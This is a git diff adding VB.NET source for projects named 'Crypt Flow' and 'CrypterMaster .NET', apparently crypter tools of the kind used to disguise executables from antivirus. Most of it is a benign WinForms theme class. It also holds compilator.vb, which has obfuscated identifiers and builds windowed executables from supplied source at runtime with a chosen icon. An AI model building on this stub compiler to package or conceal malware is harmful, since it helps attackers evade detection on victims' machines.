Bloom In Colors + M.Write(BitConverter.GetBytes(B.Value.ToArgb), 0, 4) + Next + + M.Close() + _Customization = Convert.ToBase64String(M.ToArray) + End Sub + +#End Region + + +#Region " User Hooks " + + Protected MustOverride Sub ColorHook() + Protected MustOverride Sub PaintHook() + +#End Region + + +#Region " Center Overloads " + + Private CenterReturn As Point + + Protected Function Center(ByVal r1 As Rectangle, ByVal s1 As Size) As Point + CenterReturn = New Point((r1.Width \ 2 - s1.Width \ 2) + r1.X, (r1.Height \ 2 - s1.Height \ 2) + r1.Y) + Return CenterReturn + End Function + Protected Function Center(ByVal r1 As Rectangle, ByVal r2 As Rectangle) As Point + Return Center(r1, r2.Size) + End Function + + Protected Function Center(ByVal w1 As Integer, ByVal h1 As Integer, ByVal w2 As Integer, ByVal h2 As Integer) As Point + CenterReturn = New Point(w1 \ 2 - w2 \ 2, h1 \ 2 - h2 \ 2) + Return CenterReturn + End Function + + Protected Function Center(ByVal s1 As Size, ByVal s2 As Size) As Point + Return Center(s1.Width, s1.Height, s2.Width, s2.Height) + End Function + + Protected Function Center(ByVal r1 As Rectangle) As Point + Return Center(ClientRectangle.Width, ClientRectangle.Height, r1.Width, r1.Height) + End Function + Protected Function Center(ByVal s1 As Size) As Point + Return Center(Width, Height, s1.Width, s1.Height) + End Function + Protected Function Center(ByVal w1 As Integer, ByVal h1 As Integer) As Point + Return Center(Width, Height, w1, h1) + End Function + +#End Region + +#Region " Measure Overloads " + + Private MeasureBitmap As Bitmap + Private MeasureGraphics As Graphics + + Protected Function Measure(ByVal text As String) As Size + Return MeasureGraphics.MeasureString(text, Font, Width).ToSize + End Function + Protected Function Measure() As Size + Return MeasureGraphics.MeasureString(Text, Font).ToSize + End Function + +#End Region + +#Region " DrawCorners Overloads " + + Private DrawCornersBrush As SolidBrush + + Protected Sub DrawCorners(ByVal c1 As Color) + DrawCorners(c1, 0, 0, Width, Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal r1 As Rectangle) + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + If _NoRounding Then Return + DrawCornersBrush = New SolidBrush(c1) + G.FillRectangle(DrawCornersBrush, x, y, 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y, 1, 1) + G.FillRectangle(DrawCornersBrush, x, y + (height - 1), 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y + (height - 1), 1, 1) + End Sub + +#End Region + +#Region " DrawBorders Overloads " + + 'TODO: Remove triple overload? + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal offset As Integer) + DrawBorders(p1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal offset As Integer) + DrawBorders(p1, 0, 0, Width, Height, offset) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle, ByVal offset As Integer) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height, offset) + End Sub + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + G.DrawRectangle(p1, x, y, width - 1, height - 1) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen) + DrawBorders(p1, 0, 0, Width, Height) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height) + End Sub + +#End Region + +#Region " DrawText Overloads " + + 'TODO: Remove triple overloads? + + Private DrawTextPoint As Point + Private DrawTextSize As Size + + Protected Sub DrawText(ByVal b1 As Brush, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawText(b1, Text, a, x, y) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal p1 As Point) + DrawText(b1, Text, p1.X, p1.Y) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal x As Integer, ByVal y As Integer) + DrawText(b1, Text, x, y) + End Sub + + Protected Sub DrawText(ByVal b1 As Brush, ByVal text As String, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If text.Length = 0 Then Return + DrawTextSize = Measure(text) + + If _ControlMode Then + DrawTextPoint = Center(DrawTextSize) + Else + DrawTextPoint = New Point(Width \ 2 - DrawTextSize.Width \ 2, MoveHeight \ 2 - DrawTextSize.Height \ 2) + End If + + Select Case a + Case HorizontalAlignment.Left + DrawText(b1, text, x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Center + DrawText(b1, text, DrawTextPoint.X + x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Right + DrawText(b1, text, Width - DrawTextSize.Width - x, DrawTextPoint.Y + y) + End Select + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal text As String, ByVal p1 As Point) + DrawText(b1, text, p1.X, p1.Y) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal text As String, ByVal x As Integer, ByVal y As Integer) + If text.Length = 0 Then Return + G.DrawString(text, Font, b1, x, y) + End Sub + +#End Region + +#Region " DrawImage Overloads " + + 'TODO: Remove triple overloads? + + Private DrawImagePoint As Point + + Protected Sub DrawImage(ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, a, x, y) + End Sub + Protected Sub DrawImage(ByVal p1 As Point) + DrawImage(_Image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, x, y) + End Sub + + Protected Sub DrawImage(ByVal image As Image, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + + If _ControlMode Then + DrawImagePoint = Center(image.Size) + Else + DrawImagePoint = New Point(Width \ 2 - image.Width \ 2, MoveHeight \ 2 - image.Height \ 2) + End If + + Select Case a + Case HorizontalAlignment.Left + DrawImage(image, x, DrawImagePoint.Y + y) + Case HorizontalAlignment.Center + DrawImage(image, DrawImagePoint.X + x, DrawImagePoint.Y + y) + Case HorizontalAlignment.Right + DrawImage(image, Width - image.Width - x, DrawImagePoint.Y + y) + End Select + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal p1 As Point) + DrawImage(image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + G.DrawImage(image, x, y, image.Width, image.Height) + End Sub + +#End Region + +#Region " DrawGradient Overloads " + + 'TODO: Remove triple overload? + + Private DrawGradientBrush As LinearGradientBrush + Private DrawGradientRectangle As Rectangle + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradient(blend, x, y, width, height, 90S) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradient(c1, c2, x, y, width, height, 90S) + End Sub + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(blend, DrawGradientRectangle, angle) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(c1, c2, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, Color.Empty, Color.Empty, angle) + DrawGradientBrush.InterpolationColors = blend + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, c1, c2, angle) + G.FillRectangle(DrawGradientBrush, r) + End Sub + +#End Region + +End Class + +MustInherit Class ThemeControl152 + Inherits Control + + Protected G As Graphics, B As Bitmap + + Sub New() + SetStyle(DirectCast(139270, ControlStyles), True) + + _ImageSize = Size.Empty + + MeasureBitmap = New Bitmap(1, 1) + MeasureGraphics = Graphics.FromImage(MeasureBitmap) + + Font = New Font("Verdana", 8S) + + InvalidateCustimization() + End Sub + + Protected Overrides Sub SetBoundsCore(ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal specified As BoundsSpecified) + If Not _LockWidth = 0 Then width = _LockWidth + If Not _LockHeight = 0 Then height = _LockHeight + MyBase.SetBoundsCore(x, y, width, height, specified) + End Sub + + Protected NotOverridable Overrides Sub OnSizeChanged(ByVal e As EventArgs) + If _Transparent AndAlso Not (Width = 0 OrElse Height = 0) Then + B = New Bitmap(Width, Height) + G = Graphics.FromImage(B) + End If + + Invalidate() + MyBase.OnSizeChanged(e) + End Sub + + Protected NotOverridable Overrides Sub OnPaint(ByVal e As PaintEventArgs) + If Width = 0 OrElse Height = 0 Then Return + + If _Transparent Then + PaintHook() + e.Graphics.DrawImage(B, 0, 0) + Else + G = e.Graphics + PaintHook() + End If + End Sub + + Protected NotOverridable Overrides Sub OnHandleCreated(ByVal e As EventArgs) + InvalidateCustimization() + ColorHook() + + If Not _LockWidth = 0 Then Width = _LockWidth + If Not _LockHeight = 0 Then Height = _LockHeight + + Transparent = _Transparent + If _BackColorU AndAlso _Transparent Then BackColor = Color.Transparent + + MyBase.OnHandleCreated(e) + End Sub + + Protected NotOverridable Overrides Sub OnParentChanged(ByVal e As EventArgs) + If Parent IsNot Nothing Then OnCreation() + MyBase.OnParentChanged(e) + End Sub + + Protected Overridable Sub OnCreation() + End Sub + +#Region " State Handling " + + Private InPosition As Boolean + Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) + InPosition = True + SetState(MouseState.Over) + MyBase.OnMouseEnter(e) + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + If InPosition Then SetState(MouseState.Over) + MyBase.OnMouseUp(e) + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = Windows.Forms.MouseButtons.Left Then SetState(MouseState.Down) + MyBase.OnMouseDown(e) + End Sub + + Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) + InPosition = False + SetState(MouseState.None) + MyBase.OnMouseLeave(e) + End Sub + + Protected Overrides Sub OnEnabledChanged(ByVal e As EventArgs) + If Enabled Then SetState(MouseState.None) Else SetState(MouseState.Block) + MyBase.OnEnabledChanged(e) + End Sub + + Protected State As MouseState + Private Sub SetState(ByVal current As MouseState) + State = current + Invalidate() + End Sub + +#End Region + + +#Region " Property Overrides " + + Private _BackColorU As Boolean + _ + Overrides Property BackColor() As Color + Get + Return MyBase.BackColor + End Get + Set(ByVal value As Color) + If Not IsHandleCreated AndAlso value = Color.Transparent Then + _BackColorU = True + Return + End If + + MyBase.BackColor = value + If Parent IsNot Nothing Then ColorHook() + End Set + End Property + + _ + Overrides Property ForeColor() As Color + Get + Return Color.Empty + End Get + Set(ByVal value As Color) + End Set + End Property + _ + Overrides Property BackgroundImage() As Image + Get + Return Nothing + End Get + Set(ByVal value As Image) + End Set + End Property + _ + Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return ImageLayout.None + End Get + Set(ByVal value As ImageLayout) + End Set + End Property + + Overrides Property Text() As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + Invalidate() + End Set + End Property + + Overrides Property Font() As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + Invalidate() + End Set + End Property + +#End Region + +#Region " Properties " + + Private _NoRounding As Boolean + Property NoRounding() As Boolean + Get + Return _NoRounding + End Get + Set(ByVal v As Boolean) + _NoRounding = v + Invalidate() + End Set + End Property + + Private _Image As Image + Property Image() As Image + Get + Return _Image + End Get + Set(ByVal value As Image) + If value Is Nothing Then + _ImageSize = Size.Empty + Else + _ImageSize = value.Size + End If + + _Image = value + Invalidate() + End Set + End Property + + Private _ImageSize As Size + Protected ReadOnly Property ImageSize() As Size + Get + Return _ImageSize + End Get + End Property + + Private _LockWidth As Integer + Protected Property LockWidth() As Integer + Get + Return _LockWidth + End Get + Set(ByVal value As Integer) + _LockWidth = value + If Not LockWidth = 0 AndAlso IsHandleCreated Then Width = LockWidth + End Set + End Property + + Private _LockHeight As Integer + Protected Property LockHeight() As Integer + Get + Return _LockHeight + End Get + Set(ByVal value As Integer) + _LockHeight = value + If Not LockHeight = 0 AndAlso IsHandleCreated Then Height = LockHeight + End Set + End Property + + Private _Transparent As Boolean + Property Transparent() As Boolean + Get + Return _Transparent + End Get + Set(ByVal value As Boolean) + _Transparent = value + If Not IsHandleCreated Then Return + + If Not value AndAlso Not BackColor.A = 255 Then + Throw New Exception("Unable to change value to false while a transparent BackColor is in use.") + End If + + SetStyle(ControlStyles.Opaque, Not value) + SetStyle(ControlStyles.SupportsTransparentBackColor, value) + + If value Then InvalidateBitmap() Else B = Nothing + Invalidate() + End Set + End Property + + Private Items As New Dictionary(Of String, Color) + _ + Property Colors() As Bloom() + Get + Dim T As New List(Of Bloom) + Dim E As Dictionary(Of String, Color).Enumerator = Items.GetEnumerator + + While E.MoveNext + T.Add(New Bloom(E.Current.Key, E.Current.Value)) + End While + + Return T.ToArray + End Get + Set(ByVal value As Bloom()) + For Each B As Bloom In value + If Items.ContainsKey(B.Name) Then Items(B.Name) = B.Value + Next + + InvalidateCustimization() + ColorHook() + Invalidate() + End Set + End Property + + Private _Customization As String + Property Customization() As String + Get + Return _Customization + End Get + Set(ByVal value As String) + If value = _Customization Then Return + + Dim Data As Byte() + Dim Items As Bloom() = Colors + + Try + Data = Convert.FromBase64String(value) + For I As Integer = 0 To Items.Length - 1 + Items(I).Value = Color.FromArgb(BitConverter.ToInt32(Data, I * 4)) + Next + Catch + Return + End Try + + _Customization = value + + Colors = Items + ColorHook() + Invalidate() + End Set + End Property + +#End Region + +#Region " Property Helpers " + + Private Sub InvalidateBitmap() + If Width = 0 OrElse Height = 0 Then Return + B = New Bitmap(Width, Height) + G = Graphics.FromImage(B) + End Sub + + Protected Function GetColor(ByVal name As String) As Color + Return Items(name) + End Function + + Protected Sub SetColor(ByVal name As String, ByVal value As Color) + If Items.ContainsKey(name) Then Items(name) = value Else Items.Add(name, value) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(a, r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal value As Color) + SetColor(name, Color.FromArgb(a, value)) + End Sub + + Private Sub InvalidateCustimization() + Dim M As New MemoryStream(Items.Count * 4) + + For Each B As Bloom In Colors + M.Write(BitConverter.GetBytes(B.Value.ToArgb), 0, 4) + Next + + M.Close() + _Customization = Convert.ToBase64String(M.ToArray) + End Sub + +#End Region + + +#Region " User Hooks " + + Protected MustOverride Sub ColorHook() + Protected MustOverride Sub PaintHook() + +#End Region + + +#Region " Center Overloads " + + Private CenterReturn As Point + + Protected Function Center(ByVal r1 As Rectangle, ByVal s1 As Size) As Point + CenterReturn = New Point((r1.Width \ 2 - s1.Width \ 2) + r1.X, (r1.Height \ 2 - s1.Height \ 2) + r1.Y) + Return CenterReturn + End Function + Protected Function Center(ByVal r1 As Rectangle, ByVal r2 As Rectangle) As Point + Return Center(r1, r2.Size) + End Function + + Protected Function Center(ByVal w1 As Integer, ByVal h1 As Integer, ByVal w2 As Integer, ByVal h2 As Integer) As Point + CenterReturn = New Point(w1 \ 2 - w2 \ 2, h1 \ 2 - h2 \ 2) + Return CenterReturn + End Function + + Protected Function Center(ByVal s1 As Size, ByVal s2 As Size) As Point + Return Center(s1.Width, s1.Height, s2.Width, s2.Height) + End Function + + Protected Function Center(ByVal r1 As Rectangle) As Point + Return Center(ClientRectangle.Width, ClientRectangle.Height, r1.Width, r1.Height) + End Function + Protected Function Center(ByVal s1 As Size) As Point + Return Center(Width, Height, s1.Width, s1.Height) + End Function + Protected Function Center(ByVal w1 As Integer, ByVal h1 As Integer) As Point + Return Center(Width, Height, w1, h1) + End Function + +#End Region + +#Region " Measure Overloads " + + Private MeasureBitmap As Bitmap + Private MeasureGraphics As Graphics + + Protected Function Measure(ByVal text As String) As Size + Return MeasureGraphics.MeasureString(text, Font, Width).ToSize + End Function + Protected Function Measure() As Size + Return MeasureGraphics.MeasureString(Text, Font, Width).ToSize + End Function + +#End Region + +#Region " DrawCorners Overloads " + + Private DrawCornersBrush As SolidBrush + + Protected Sub DrawCorners(ByVal c1 As Color) + DrawCorners(c1, 0, 0, Width, Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal r1 As Rectangle) + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + If _NoRounding Then Return + + If _Transparent Then + B.SetPixel(x, y, c1) + B.SetPixel(x + (width - 1), y, c1) + B.SetPixel(x, y + (height - 1), c1) + B.SetPixel(x + (width - 1), y + (height - 1), c1) + Else + DrawCornersBrush = New SolidBrush(c1) + G.FillRectangle(DrawCornersBrush, x, y, 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y, 1, 1) + G.FillRectangle(DrawCornersBrush, x, y + (height - 1), 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y + (height - 1), 1, 1) + End If + End Sub + +#End Region + +#Region " DrawBorders Overloads " + + 'TODO: Remove triple overload? + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal offset As Integer) + DrawBorders(p1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal offset As Integer) + DrawBorders(p1, 0, 0, Width, Height, offset) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle, ByVal offset As Integer) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height, offset) + End Sub + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + G.DrawRectangle(p1, x, y, width - 1, height - 1) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen) + DrawBorders(p1, 0, 0, Width, Height) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height) + End Sub + +#End Region + +#Region " DrawText Overloads " + + 'TODO: Remove triple overloads? + + Private DrawTextPoint As Point + Private DrawTextSize As Size + + Protected Sub DrawText(ByVal b1 As Brush, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawText(b1, Text, a, x, y) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal p1 As Point) + DrawText(b1, Text, p1.X, p1.Y) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal x As Integer, ByVal y As Integer) + DrawText(b1, Text, x, y) + End Sub + + Protected Sub DrawText(ByVal b1 As Brush, ByVal text As String, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If text.Length = 0 Then Return + DrawTextSize = Measure(text) + DrawTextPoint = Center(DrawTextSize) + + Select Case a + Case HorizontalAlignment.Left + DrawText(b1, text, x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Center + DrawText(b1, text, DrawTextPoint.X + x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Right + DrawText(b1, text, Width - DrawTextSize.Width - x, DrawTextPoint.Y + y) + End Select + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal text As String, ByVal p1 As Point) + DrawText(b1, text, p1.X, p1.Y) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal text As String, ByVal x As Integer, ByVal y As Integer) + If text.Length = 0 Then Return + G.DrawString(text, Font, b1, x, y) + End Sub + +#End Region + +#Region " DrawImage Overloads " + + 'TODO: Remove triple overloads? + + Private DrawImagePoint As Point + + Protected Sub DrawImage(ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, a, x, y) + End Sub + Protected Sub DrawImage(ByVal p1 As Point) + DrawImage(_Image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, x, y) + End Sub + + Protected Sub DrawImage(ByVal image As Image, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + DrawImagePoint = Center(image.Size) + + Select Case a + Case HorizontalAlignment.Left + DrawImage(image, x, DrawImagePoint.Y + y) + Case HorizontalAlignment.Center + DrawImage(image, DrawImagePoint.X + x, DrawImagePoint.Y + y) + Case HorizontalAlignment.Right + DrawImage(image, Width - image.Width - x, DrawImagePoint.Y + y) + End Select + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal p1 As Point) + DrawImage(image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + G.DrawImage(image, x, y, image.Width, image.Height) + End Sub + +#End Region + +#Region " DrawGradient Overloads " + + 'TODO: Remove triple overload? + + Private DrawGradientBrush As LinearGradientBrush + Private DrawGradientRectangle As Rectangle + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradient(blend, x, y, width, height, 90S) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradient(c1, c2, x, y, width, height, 90S) + End Sub + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(blend, DrawGradientRectangle, angle) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(c1, c2, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, Color.Empty, Color.Empty, angle) + DrawGradientBrush.InterpolationColors = blend + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, c1, c2, angle) + G.FillRectangle(DrawGradientBrush, r) + End Sub + +#End Region + +End Class + +Enum MouseState As Byte + None = 0 + Over = 1 + Down = 2 + Block = 3 +End Enum + +Class Bloom + + Private _Name As String + Property Name() As String + Get + Return _Name + End Get + Set(ByVal value As String) + _Name = value + End Set + End Property + + Private _Value As Color + Property Value() As Color + Get + Return _Value + End Get + Set(ByVal value As Color) + _Value = value + End Set + End Property + + Sub New() + End Sub + + Sub New(ByVal name As String, ByVal value As Color) + _Name = name + _Value = value + End Sub +End Class \ No newline at end of file diff --git a/scode (Crypt Flow/Crypt Flow/Untitled-05.ico b/scode (Crypt Flow/Crypt Flow/Untitled-05.ico new file mode 100644 index 0000000..64320e6 Binary files /dev/null and b/scode (Crypt Flow/Crypt Flow/Untitled-05.ico differ diff --git a/scode (Crypt Flow/Crypt Flow/app.config b/scode (Crypt Flow/Crypt Flow/app.config new file mode 100644 index 0000000..ae9282a --- /dev/null +++ b/scode (Crypt Flow/Crypt Flow/app.config @@ -0,0 +1,26 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/scode (Crypt Flow/Crypt Flow/compilator.vb b/scode (Crypt Flow/Crypt Flow/compilator.vb new file mode 100644 index 0000000..1cd44c3 --- /dev/null +++ b/scode (Crypt Flow/Crypt Flow/compilator.vb @@ -0,0 +1,40 @@ +Imports System.CodeDom.Compiler +Public Class dwqeEQE3Q2 + Public Shared Sub edasr232222dF(ByVal ASDASD As String, ByVal AS432RE324 As String, ByVal AS432RE32433333333 As String) + On Error Resume Next + + Dim DQWEQ23DA As ICodeCompiler = (New VBCodeProvider).CreateCompiler() + Dim DQWEQ23DAAAAAAA As New CompilerParameters() + Dim DQYTJTYHJTYJ As CompilerResults + + DQWEQ23DAAAAAAA.GenerateExecutable = True + DQWEQ23DAAAAAAA.OutputAssembly = ASDASD + DQWEQ23DAAAAAAA.CompilerOptions = "/target:winexe" + DQWEQ23DAAAAAAA.ReferencedAssemblies.Add("System.dll") + DQWEQ23DAAAAAAA.ReferencedAssemblies.Add("System.Data.dll") + DQWEQ23DAAAAAAA.ReferencedAssemblies.Add("System.Windows.Forms.dll") + + Dim FASFASFFF = New Dictionary(Of String, String) + FASFASFFF.Add("CompilerVersion", "v2.0") + + DQWEQ23DAAAAAAA.CompilerOptions = "/filealign:0x00000200 /optimize+ /platform:X86 /debug- /target:winexe" + + Dim ADAS432RAS As String = IO.Path.GetTempPath & "\iCompiler.ico" + + If AS432RE32433333333 <> "" Then + IO.File.Copy(AS432RE32433333333, ADAS432RAS) + DQWEQ23DAAAAAAA.CompilerOptions &= " /win32icon:" & ADAS432RAS + End If + + DQYTJTYHJTYJ = DQWEQ23DA.CompileAssemblyFromSource(DQWEQ23DAAAAAAA, AS432RE324) + + If DQYTJTYHJTYJ.Errors.Count > 0 Then + For Each CompilerError In DQYTJTYHJTYJ.Errors + MessageBox.Show("Error: " & CompilerError.ErrorText, "", MessageBoxButtons.OK, MessageBoxIcon.Error) + Next + ElseIf DQYTJTYHJTYJ.Errors.Count = 0 Then + + End If + If AS432RE32433333333 <> "" Then : IO.File.Delete(ADAS432RAS) : End If + End Sub +End Class diff --git a/scode (CrypterMaster .NET/.DS_Store b/scode (CrypterMaster .NET/.DS_Store new file mode 100644 index 0000000..9a55a54 Binary files /dev/null and b/scode (CrypterMaster .NET/.DS_Store differ diff --git a/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster.sln b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster.sln new file mode 100644 index 0000000..223e2f2 --- /dev/null +++ b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.30501.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "CrypterMaster", "CrypterMaster\CrypterMaster.vbproj", "{F2B037A7-F0C0-4875-B945-3A06DAB33E00}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {F2B037A7-F0C0-4875-B945-3A06DAB33E00}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F2B037A7-F0C0-4875-B945-3A06DAB33E00}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F2B037A7-F0C0-4875-B945-3A06DAB33E00}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F2B037A7-F0C0-4875-B945-3A06DAB33E00}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster.v11.suo b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster.v11.suo new file mode 100644 index 0000000..ecde85d Binary files /dev/null and b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster.v11.suo differ diff --git a/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster.v12.suo b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster.v12.suo new file mode 100644 index 0000000..b64ae94 Binary files /dev/null and b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster.v12.suo differ diff --git a/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/App.config b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/App.config new file mode 100644 index 0000000..340e535 --- /dev/null +++ b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/App.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/CrypterMaster.vbproj b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/CrypterMaster.vbproj new file mode 100644 index 0000000..88acc51 --- /dev/null +++ b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/CrypterMaster.vbproj @@ -0,0 +1,173 @@ + + + + + Debug + AnyCPU + {F2B037A7-F0C0-4875-B945-3A06DAB33E00} + WinExe + CrypterMaster.My.MyApplication + CrypterMaster + CrypterMaster .NET + 512 + WindowsForms + v4.5 + true + false + publicar\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + true + + + + AnyCPU + true + full + true + true 